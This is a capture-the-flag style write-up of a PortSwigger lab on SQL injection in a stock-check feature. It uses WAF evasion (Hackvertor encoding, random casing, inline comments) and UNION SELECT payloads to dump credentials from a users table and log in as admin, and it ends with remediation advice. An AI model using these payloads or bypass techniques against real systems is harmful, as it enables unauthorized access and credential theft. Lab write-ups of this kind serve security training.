SQL injection with filter bypass via XML encoding
SQL injection with filter bypass via XML encoding: Exploit a SQL injection vulnerability in the stock check feature to extract the admin user’s credentials from the users table, then log in as admin. A Web Application Firewall (WAF) blocks obvious payloads, so we’ll obfuscate our query (e.g., with Burp + Hackvertor) to bypass filtering. • PortSwigger • SQL injection • sql-injection, union
🎯 Objective
Exploit a SQL injection vulnerability in the stock check feature to extract the admin user’s credentials from the users table, then log in as admin. A Web Application Firewall (WAF) blocks obvious payloads, so we’ll obfuscate our query (e.g., with Burp + Hackvertor) to bypass filtering.
🧠 TL;DR (Quick Recipe)
- Identify injectable parameter (e.g.,
productIdorstoreId) in the stock check request. - Find column count and data types for
UNIONusing safe probes. - Bypass the WAF via encoding/obfuscation (Hackvertor tags, inline comments, case toggling, whitespace variants).
- Use a
UNION SELECTto dumpusers(username,password). - Log in as
adminwith the recovered password.
🔍 Context & Recon
- Feature: Check stock in store for a product.
- Parameters observed:
productId,storeId. - Initial pokes triggered WAF blocks on patterns like
UNION,SELECT, quotes, and comments.
Screenshots
Parameters present in stock request:

WAF blocking obvious SQLi:

🧪 Step 1 — Confirm Injection Point
Use benign arithmetic or boolean probes that keep syntax valid and avoid obvious signatures.
Examples (replace X with the parameter under test):
X=1 → baseline
X=1-0 → arithmetic, should behave like 1
X=1/*a*/-/*b*/0 → inline comments for spacing (WAF bypass friendly)
X=1 OR 1=1 → classic truth test (likely blocked by WAF if left obvious)Tips:
- Prefer numeric context payloads first (fewer quoting rules).
- Use URL-encoding or Hackvertor to hide operators (see WAF section).
🧱 Step 2 — WAF Evasion Tactics
When the WAF trips on raw keywords (UNION, SELECT, quotes), use combinations of:
- Case morphing:
UnIoN SeLeCt - Inline comments:
UNI/**/ON SEL/**/ECT - Whitespace variants: tab
%09, newline%0a, formfeed%0c - URL-encoding/double-encoding for keywords/quotes
- Hackvertor tags in Burp (encode-on-send), e.g.:
<@urlencode><@randomcase>UNION SELECT</@randomcase></@urlencode><@hex_entities>SELECT</@hex_entities><@space2comment>union select</@space2comment>
In practice I used Hackvertor to encode XML attributes/payload tokens so the WAF couldn’t spot the signature while the DB still parsed a valid query.
Reference view in Burp:
🧱 Step 3 — Determine Column Count & Types (Safe)
You need UNION column count to match the base query. If WAF blocks ORDER BY, use UNION NULL ladder with obfuscation:
# Pseudocode payloads (obfuscate as needed via Hackvertor)
... UNION SELECT NULL --
... UNION SELECT NULL,NULL --
... UNION SELECT NULL,NULL,NULL --Once you hit a 200/valid render, that’s your column count.
Next, identify a string-capable column by replacing one NULL with a quoted marker (or a concatenation without quotes in numeric contexts, see below).
If quotes are blocked, try concatenation or casting supported by the backend (PostgreSQL/SQLite use
||for string concat).
🧲 Step 4 — UNION Dump of users
Backend flavor in these labs is often PostgreSQL/SQLite, so string concatenation via || works. If the base query returns 1 column, concatenate both fields:
1 UNION SELECT username || ' ' || password FROM usersThis avoids figuring out separate column placement and stays within a single-column
UNIONshape.
Result (redacted):
If multiple columns are available, a clearer variant is:
UNION SELECT username, password FROM usersWAF bypass hints for the payload above:
- Randomize case:
uNiOn sElEcT - Insert comments:
UNION/*x*/SELECT - Replace spaces with tabs/newlines or comments
- Encode
' '(space) and quotes:%20,%27 - Use Hackvertor to auto-encode the entire fragment
🔐 Step 5 — Log In as Admin
From the dump, copy the admin row’s password. Navigate to the login page and authenticate as:
username: admin
password: <extracted-from-UNION>🧭 Example Burp Workflow
- Proxy traffic and send stock request to Repeater.
- Wrap payload regions with Hackvertor tags (right-click → Insert tag).
- Iterate:
- Column count discovery (
UNION SELECT NULL,...) - String column check (marker text)
- Final dump payload
- Column count discovery (
- Verify credentials and log in.
🧯 Hardening & Remediation (for defenders)
- Parameterized queries / prepared statements everywhere (no string concatenation).
- Strict WAF tuning is not a substitute for fixing the code.
- Least-privilege DB user; no read access to
userstable from stock queries. - Output encoding and minimal error leakage.
- Centralized input validation + allow-lists for IDs (numeric only).
📎 Notes & Gotchas
- Some backends require
FROM dual(Oracle). If unsure, infer backend by error handling or feature tests. - If quotes are aggressively blocked, try quote-less techniques: string concatenation,
CHR()/CHAR()functions, or hex (0x...) where supported. - For column type mismatches, cast:
CAST(username AS TEXT)etc.
✅ Outcome
- Bypassed WAF using Hackvertor encoding/obfuscation.
- Extracted credentials from
userstable with a UNION SELECT. - Successfully authenticated as admin to complete the lab.
Final working payload example used:
1 UNION SELECT username || ' ' || password FROM users(Obfuscated via Hackvertor to evade the WAF.)
📚 References
- PortSwigger: SQL Injection
- PortSwigger BApp: Hackvertor
- Cheat-sheets: Obfuscation (URL-encode, comments, random casing), backend string ops (
||for Postgres/SQLite)